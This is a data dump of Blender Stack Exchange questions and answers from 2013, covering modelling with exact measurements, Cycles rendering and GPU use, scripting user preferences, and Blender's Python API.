  <row Id="271" PostTypeId="2" ParentId="269" CreationDate="2013-05-24T07:57:57.637" Score="10" Body="&lt;p&gt;Blender doesn't have an (auto-)update function that would do this for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some years ago I experimented with a way to create binary patches - that works pretty ok, but the experiment never took further form, as an entire infrastructure to support this needs to be created, and for such an effort no resources have been found (people willing to work on it, maintain it and the servers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until that day you'll just have to download the entire program. Note that you don't have to install Blender, you can just run it from the location you downloaded and extracted it to (at least on Linux and Windows, so assuming it works also on OS X).&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-05-24T07:57:57.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="272" PostTypeId="2" ParentId="267" CreationDate="2013-05-24T08:14:13.013" Score="5" Body="&lt;p&gt;Currently it is not really possible to drive particle size with a driver. One can drive them so they show in the 3D View with different sizes, but the render engines (BI and Cycles) don't see the size changes, unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the report in the Blender TODO tracker here: &lt;a href=&quot;http://projects.blender.org/tracker/?func=detail&amp;amp;atid=264&amp;amp;aid=34946&amp;amp;group_id=9&quot; rel=&quot;noreferrer&quot;&gt;http://projects.blender.org/tracker/?func=detail&amp;amp;atid=264&amp;amp;aid=34946&amp;amp;group_id=9&lt;/a&gt; . Some examples are included.&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-05-24T08:14:13.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="274" PostTypeId="1" AcceptedAnswerId="275" CreationDate="2013-05-24T09:49:20.233" Score="52" ViewCount="92275" Body="&lt;p&gt;I always struggle when trying to create a floor plan or furniture. How do I model using exact measurements. &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="55" LastEditDate="2014-11-25T21:48:55.260" LastActivityDate="2017-12-13T08:39:08.613" Title="How to model effectively using exact measurements?" Tags="&lt;modeling&gt;&lt;measurement&gt;" AnswerCount="7" CommentCount="3" FavoriteCount="39" ContentLicense="CC BY-SA 3.0" />
  <row Id="275" PostTypeId="2" ParentId="274" CreationDate="2013-05-24T10:14:19.267" Score="46" Body="&lt;p&gt;The absolute first step is to set the real-world units in the scene tab. This will make Blender's arbitrary units relate to something you can actually measure, like feet or meters.&lt;/p&gt;&#xA;&lt;h3&gt;Lines/Edges that Follow an Axis&lt;/h3&gt;&#xA;&lt;p&gt;You can click on a vertex, press &lt;kbd&gt;E&lt;/kbd&gt; to extrude, press &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt;, or &lt;kbd&gt;Z&lt;/kbd&gt; to choose the direction, then type in 1 and hit &lt;kbd&gt;Enter&lt;/kbd&gt;. This will produce a line of length 1 (scene units) in that direction.&lt;/p&gt;&#xA;&lt;h3&gt;Lines/Edges at Arbitrary Angles&lt;/h3&gt;&#xA;&lt;p&gt;If your line needs to be at an angle, and you know how long it needs to be, then you could:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an edge with that length. Position the 3D cursor on one of&#xA;the vertices of the edge.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the pivot centre to be on the 3D cursor. (&lt;em&gt;&lt;strong&gt;important&lt;/strong&gt;&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rotate the edge: (select the edge, hit &lt;kbd&gt;R&lt;/kbd&gt;, hit (&lt;kbd&gt;X&lt;/kbd&gt;,&lt;kbd&gt;Y&lt;/kbd&gt;, or &lt;kbd&gt;Z&lt;/kbd&gt; for axis) and type in the angle to rotate on that axis) , then &lt;kbd&gt;Enter&lt;/kbd&gt; to finalize&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rinse and repeat until all axis of that edge are dealt with.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Extruding Edges/Faces&lt;/h3&gt;&#xA;&lt;p&gt;Edges and Faces can also be extruded and knowing how to do it can save you a lot of time:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select an edge or face, hit &lt;kbd&gt;E&lt;/kbd&gt; and choose an axis using &lt;kbd&gt;X&lt;/kbd&gt;,&lt;kbd&gt;Y&lt;/kbd&gt;, or &lt;kbd&gt;Z&lt;/kbd&gt; and type in the distance, then &lt;kbd&gt;Enter&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Faces will start to extrude along their normal if no &lt;kbd&gt;X&lt;/kbd&gt;,&lt;kbd&gt;Y&lt;/kbd&gt;, or &lt;kbd&gt;Z&lt;/kbd&gt; direction is given.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Directly entering coordinate values (global / local)&lt;/h3&gt;&#xA;&lt;p&gt;Get familiar with entering exact coordinates into this box. (found on the right hand panel, the &lt;kbd&gt;N&lt;/kbd&gt;-panel). In &lt;code&gt;Global&lt;/code&gt; mode when you change the position of a selected vertex using those fields then the coordinate will be relative to the world origin (0,0,0). When in &lt;code&gt;Local&lt;/code&gt; mode the coordinate will be relative to the &lt;code&gt;origin&lt;/code&gt; of the Object.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6eLWP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-27T21:32:48.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="276" PostTypeId="2" ParentId="274" CreationDate="2013-05-24T12:40:49.297" Score="33" Body="&lt;p&gt;After some research I found that there are options in in the &lt;em&gt;transform panel&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;) named Numerics. When &lt;em&gt;Edge Length&lt;/em&gt; is ticked the exact measure is displayed in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ys5Oe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-05-24T12:40:49.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="277" PostTypeId="2" ParentId="274" CreationDate="2013-05-24T13:34:41.637" Score="5" Body="&lt;p&gt;To add to the other answers . . .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing that you can do to help you model accurately is to use a unit system other than the Blender unit system. You could use the metric or imperial system. Doing so helps you to remember what distance means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, instead of seeing &lt;code&gt;13.63&lt;/code&gt; when using the BU system, you'll see &lt;code&gt;13m 63cm&lt;/code&gt; if using the metric system, and &lt;code&gt;44' 22&quot;&lt;/code&gt; if using the imperial system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;more info here: &lt;a href=&quot;https://blender.stackexchange.com/a/258/14&quot;&gt;https://blender.stackexchange.com/a/258/14&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2013-05-24T13:34:41.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="278" PostTypeId="5" CreationDate="2013-05-24T13:59:32.030" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-24T13:59:32.030" LastActivityDate="2013-05-24T13:59:32.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="279" PostTypeId="4" CreationDate="2013-05-24T13:59:32.030" Score="0" Body="Questions related to Blender's Boolean modifier. The Boolean modifier is used to quickly create topological Unions, Differences and Intersections between mesh objects. " OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-13T23:47:10.583" LastActivityDate="2013-07-13T23:47:10.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="280" PostTypeId="2" ParentId="274" CreationDate="2013-05-24T14:19:32.073" Score="15" Body="&lt;p&gt;Along with the default &lt;em&gt;'in Blender'&lt;/em&gt; tips already posted, there are several scripts/addons you can use to assist you too. The website &lt;a href=&quot;http://www.blender3darchitect.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender3DArchitect&lt;/a&gt; has alot of content tuned to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addons are..&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;- &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/EdgeTools&quot; rel=&quot;nofollow noreferrer&quot;&gt;EdgeTools&lt;/a&gt; (for 2.63 at the time of writing)&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Edge Tools is designed to bring some CAD-style edge-based modeling&#xA;  tools to Blender. These tools are predominately inspired from several&#xA;  tools found in CATIA's &quot;Geometric Design&quot; workbench.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender3darchitect.com/2013/03/new-feature-in-development-3d-ruler-for-precision-modeling-with-blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;..More Info.&lt;/a&gt;&#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;- &lt;a href=&quot;http://www.macouno.com/commissions/caliper/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Caliper&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This addon incorporates the basic Caliper functionality of creating an&#xA;  object which displays the distance between 2 points in Blender’s 3d&#xA;  space and can be rendered. Then this functionality can be expanded&#xA;  with more detailed measurements and live updating.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender3darchitect.com/2012/10/dimension-lines-for-blender-with-the-caliper-add-on/&quot; rel=&quot;nofollow noreferrer&quot;&gt;..More Info.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2017-12-13T08:39:08.613" LastActivityDate="2017-12-13T08:39:08.613" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="281" PostTypeId="1" AcceptedAnswerId="286" CreationDate="2013-05-24T16:08:10.077" Score="7" ViewCount="1780" Body="&lt;p&gt;Take Openshot for example. It has some form of Blender integration and is written in Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if it directly accesses Blender's API or if it simply generates a &lt;code&gt;.blend&lt;/code&gt; file and then launches Blender (as it seems to do with Inkscape for SVG titles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to know is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can an application make use of the Blender API from outside of a running instance of Blender?&lt;/li&gt;&#xA;&lt;li&gt;If yes, how?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="72" LastEditorUserId="72" LastEditDate="2013-05-24T16:43:50.793" LastActivityDate="2013-05-24T17:12:00.213" Title="How can the Blender API be used to access Blender from another application?" Tags="&lt;python&gt;&lt;external-applications&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="282" PostTypeId="2" ParentId="268" CreationDate="2013-05-24T16:12:40.200" Score="7" Body="&lt;p&gt;To add an image as your world background, you need to set that image as a texture input for the world object. To do this, add a texture to the world by selecting the world object in the Outliner, then selecting the 'Textures' tab of the Properties panel and adding a new texture. Go to the Preview submenu and select the world tab, so that you are editing the global texture. Finally, under the type of texture, select 'Image or Movie', and select the image you wish to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more detailed description of the subject, go to &lt;a href=&quot;http://pages.uoregon.edu/art3d/composite/composite25.html&quot;&gt;http://pages.uoregon.edu/art3d/composite/composite25.html&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-05-24T16:12:40.200" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="283" PostTypeId="1" AcceptedAnswerId="285" CreationDate="2013-05-24T16:27:35.103" Score="9" ViewCount="1347" Body="&lt;p&gt;The machine that I'm currently using is an extremely slow netbook. Whenever I go to change user preferences in Blender, it stalls out. What I need to do is activate the &quot;emulate 3 button mouse&quot; checkbox. Is there a way to do this via console/script?&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-05-24T16:48:17.497" Title="Changing user preferences via console?" Tags="&lt;scripting&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="284" PostTypeId="2" ParentId="72" CreationDate="2013-05-24T16:33:32.073" Score="56" Body="&lt;p&gt;Since you are asking what the difference is I thought I'd point out one of the most important differences between the two kinds of spheres in relation to modelling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mkskM.png&quot; alt=&quot;Basic difference&quot;&gt;&lt;br&gt;&#xA;&lt;em&gt;Comparison using many subdivisions&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UV spheres are best used in situations where you require a very smooth, symmetrical surface (the more subdivisions the better). However, they do relatively poorly when realistic topology is your key goal. UV spheres are not the best for organic natural shapes, because of their symmetry and the use of quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ICO spheres are best used for objects such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Geodesic Domes&lt;/li&gt;&#xA;&lt;li&gt;Planets with realistic terrain&lt;/li&gt;&#xA;&lt;li&gt;Rough surfaces, such as golf balls.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If symmetry is important, use UV spheres because ICO spheres are asymmetrical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d0Wgf.png&quot; alt=&quot;Displace on&quot;&gt;&lt;br&gt;&#xA;A displacement modifier on the ICO sphere yields more satisfying results. With a higher number of subdivisions the difference between ICO and UV sphere won't be as noticeable. Generally, though, the ICO sphere looks more realistic and much smoother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xT6nz.png&quot; alt=&quot;Displace settings&quot;&gt;&lt;br&gt;&#xA;&lt;em&gt;Displace modifier settings&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="2811" LastEditDate="2015-05-24T23:12:28.043" LastActivityDate="2015-05-24T23:12:28.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="285" PostTypeId="2" ParentId="283" CreationDate="2013-05-24T16:35:10.553" Score="8" Body="&lt;p&gt;Got it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.user_preferences.inputs.use_mouse_emulate_3_button = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It also says on the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_59_0/info_quickstart.html&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt; that The Blender API can modify user preferences, keymaps and themes&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="12" LastEditDate="2013-05-24T16:48:17.497" LastActivityDate="2013-05-24T16:48:17.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="286" PostTypeId="2" ParentId="281" CreationDate="2013-05-24T16:54:12.070" Score="3" Body="&lt;p&gt;After looking around a little bet &lt;a href=&quot;https://stackoverflow.com/questions/15136852/running-blender-python-script-outside-of-blender&quot;&gt;here's what I found&lt;/a&gt;. You can render files outside of Blender(from the terminal), but as far as I can tell, you cannot do anything else.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-05-24T16:54:12.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="287" PostTypeId="2" ParentId="281" CreationDate="2013-05-24T17:12:00.213" Score="5" Body="&lt;p&gt;Following the link in CharlesL's answer, I was able to find a Wiki entry that dashes my hopes. Apparently this is not possible in the way I had hoped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/User%3aIdeasman42/BlenderAsPyModule&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/User%3aIdeasman42/BlenderAsPyModule&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-05-24T17:12:00.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="288" PostTypeId="2" ParentId="269" CreationDate="2013-05-24T17:20:11.507" Score="2" Body="&lt;p&gt;If your on Ubuntu (or some linux distro with automatic updates, basically all of them), you can choose to download the latest development build. You'll get the updates then. If your interested, here's a link: &lt;a href=&quot;http://mbah.net/2010/11/11/installing-blender-2-55-beta/&quot; rel=&quot;nofollow&quot;&gt;http://mbah.net/2010/11/11/installing-blender-2-55-beta/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-24T17:20:11.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="289" PostTypeId="5" CreationDate="2013-05-24T17:39:28.277" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-24T17:39:28.277" LastActivityDate="2013-05-24T17:39:28.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="290" PostTypeId="4" CreationDate="2013-05-24T17:39:28.277" Score="0" Body="The UV texture is the current image or texture that is mapped on to the 3D object based upon the UV map. U and V stand for the axis in the 2D editor." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-24T19:59:20.647" LastActivityDate="2013-05-24T19:59:20.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="291" PostTypeId="1" AcceptedAnswerId="292" CreationDate="2013-05-24T17:48:08.447" Score="14" ViewCount="2764" Body="&lt;p&gt;I remember reading (I can't remember where though), that the Blender Internal render engine had become difficult to maintain and is not based on a modern architecture (hence - Cycles was created).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question then is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will Cycles ultimately &lt;em&gt;replace&lt;/em&gt; the internal renderer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have grown somewhat fond of the internal renderer (because I'm accustomed to it and setting up scenes for it), and wish it could be more modern, but I know things might have to change.&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="6204" LastEditDate="2014-12-16T01:04:18.890" LastActivityDate="2018-04-29T17:17:09.860" Title="Will Cycles eventually replace Blender Internal?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="292" PostTypeId="2" ParentId="291" CreationDate="2013-05-24T17:59:36.523" Score="18" Body="&lt;h1&gt;Update (5 years later)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Yes, for the upcoming Blender 2.8 release, Blender Internal has finally been superseded by Cycles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Z80MD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z80MD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As far as I know, It is not yet officially confirmed. I asked a developer on IRC and he said No. However, one of the other developers has this on his &lt;a href=&quot;http://dingto.org/?p=157&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The goal of Cycles is to probably replace the Internal Render Engine&#xA;  in 1-2 years and have a fast and modern Render/Shading system which&#xA;  can be used for production rendering and for animation as well.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;from &lt;a href=&quot;http://code.blender.org/index.php/2011/04/modernizing-shading-and-rendering/&quot; rel=&quot;nofollow noreferrer&quot;&gt;code.blender&lt;/a&gt;.. the main developer also hints with..&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There may of course be developers that want to continue developing&#xA;  Blender Internal, and the intention is not to drop it immediately.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blenderguru.com/4-awesome-new-blender-features/&quot; rel=&quot;nofollow noreferrer&quot;&gt;From&lt;/a&gt; &lt;a href=&quot;http://www.blenderguru.com/4-easy-ways-to-speed-up-cycles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderGuru&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cycles will eventually replace the internal rendering engine, becoming&#xA;  the standard that every Blender user will soon use. The sooner you can&#xA;  jump aboard, the better.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It seems such a &lt;a href=&quot;https://twitter.com/dingto/status/268655993020350464&quot; rel=&quot;nofollow noreferrer&quot;&gt;decision&lt;/a&gt; was made a long time ago too.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;@andrewpprice There has been no further development for the BI (for&#xA;  about 2 years now) apart from critical crash fixes. That won't change.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It also seems that there is an ongoing &lt;a href=&quot;http://wiki.blender.org/index.php/User:LightBWK&quot; rel=&quot;nofollow noreferrer&quot;&gt;project&lt;/a&gt; that is &lt;a href=&quot;http://blenderartist.org/forum/showthread.php?290829-Blender-Extended-Expressive-Rendering-%28BEER%29-Extending-Blender-Internal&quot; rel=&quot;nofollow noreferrer&quot;&gt;extending the Internal Renderer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is all inconsistent information here and there but all very credible sources, so a definitive answer for this would be, &lt;strong&gt;&lt;em&gt;It has not yet been confirmed.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2018-04-29T17:17:09.860" LastActivityDate="2018-04-29T17:17:09.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="293" PostTypeId="2" ParentId="247" CreationDate="2013-05-24T18:28:44.393" Score="12" Body="&lt;p&gt;Beveling is by far the easiest thing to do and will have a very positive impact on your realism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other answer showed how to bevel with the bevel modifier. If you want more control, you can bevel edges in edit mode using &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt;, then dragging your mouse until you have a desired bevel amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to bevel a single vertex use &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="12" LastEditDate="2013-05-25T18:50:26.720" LastActivityDate="2013-05-25T18:50:26.720" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="297" PostTypeId="1" AcceptedAnswerId="300" CreationDate="2013-05-24T20:05:09.530" Score="18" ViewCount="17236" Body="&lt;p&gt;The issue I'm having with Blender is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Cycles Rendering doesn't seem to use the GPU to its maximum power, even though I've read it should to the point where Blender UI becomes unresponsive because of the GPU spending all its power on rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the CUDA toolkit installed and tried it with different versions (Newest version and CUDA 4.1). I've even tried the latest Blender version 2.67a and 2.66. No difference there either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the picture blow CUDA is on and I the GPU is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j2gbn.png&quot; alt=&quot;User Preferences&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my Render Properties. I've also tried with Feature Set as Experimental, but it showed no changes.&#xA;All the other settings have pretty much been exactly the same. Apart from the occasional Device switching from GPU to CPU and back again, to see differences. But I'll come back to that below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TWg0Z.png&quot; alt=&quot;Render Properties&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the information MSI Afterburner shows me, while I was running the render. Mind you that the scene itself is not complex at all. It's simply the default box, which I duplicated to 4 boxes and they're moving across the scene and go together to form 1 box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nZPpb.png&quot; alt=&quot;CPU Info&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GPU Usage rarely exceeds 30%. The difference between CPU and GPU rendering is only 10-15 % units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll be editing and adding stuff if I find additional information. It might take a bit of time since I'm trying to solve the problem at the same time.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2019-05-11T12:31:36.850" Title="Cycles Render not utilizing the GPU as it should" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="298" PostTypeId="5" CreationDate="2013-05-24T20:09:05.260" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-24T20:09:05.260" LastActivityDate="2013-05-24T20:09:05.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="299" PostTypeId="4" CreationDate="2013-05-24T20:09:05.260" Score="0" Body="A graphics processing unit (GPU) is a specialized electronic circuit designed to rapidly manipulate and alter memory to accelerate the rendering or output images." OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-05-25T00:38:14.957" LastActivityDate="2013-05-25T00:38:14.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="300" PostTypeId="2" ParentId="297" CreationDate="2013-05-24T20:28:32.417" Score="16" Body="&lt;p&gt;GPU usage is highly dependent on the scene complexity. With a very simple scene like the one you tested, it is hard to bog-down a modern GPU. But with a realistically complete scene, you can expect the GPU usage to be a lot higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?239480-2-61-Cycles-render-benchmark&quot;&gt;Take a look at this Cycles rendering benchmark&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-05-24T20:28:32.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="301" PostTypeId="1" AcceptedAnswerId="303" CreationDate="2013-05-24T21:56:18.257" Score="67" ViewCount="86359" Body="&lt;p&gt;I'm using an older Nvidia chip that hates running viewport renders, and I need to check if changes to the materials on a few objects not far from the center of my scene are (I'm rendering a floorplan with an orthographic camera from above, so I'm looking down on objects and want to check if the displacement materials are working correctly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to select a bit of the image and have it render first or without having to render the rest of the image? I'm aware that you can tell the image to render from an edge, but my stuff's about equidistant from either side of the scene.&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="14" LastEditDate="2013-05-30T01:30:48.450" LastActivityDate="2018-06-06T11:23:59.253" Title="Render just part of a final image from Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;camera&gt;&lt;workflow&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="21" ContentLicense="CC BY-SA 3.0" />
  <row Id="302" PostTypeId="1" AcceptedAnswerId="304" CreationDate="2013-05-24T21:56:52.353" Score="15" ViewCount="11437" Body="&lt;p&gt;When Blender is installed, it creates its own copy of Python 3.x. However, I prefer to code in Python 2.x. This makes it difficult for me to work with newer versions of Blender. I would like to know what to do so that Blender will instead use an external installation of Python 2.x, which I already have installed on my computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make Blender recognize the other version of Python?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="55" LastEditDate="2015-01-29T19:07:21.807" LastActivityDate="2017-02-07T22:11:31.110" Title="How to make Blender use Python2.x?" Tags="&lt;customization&gt;&lt;python&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
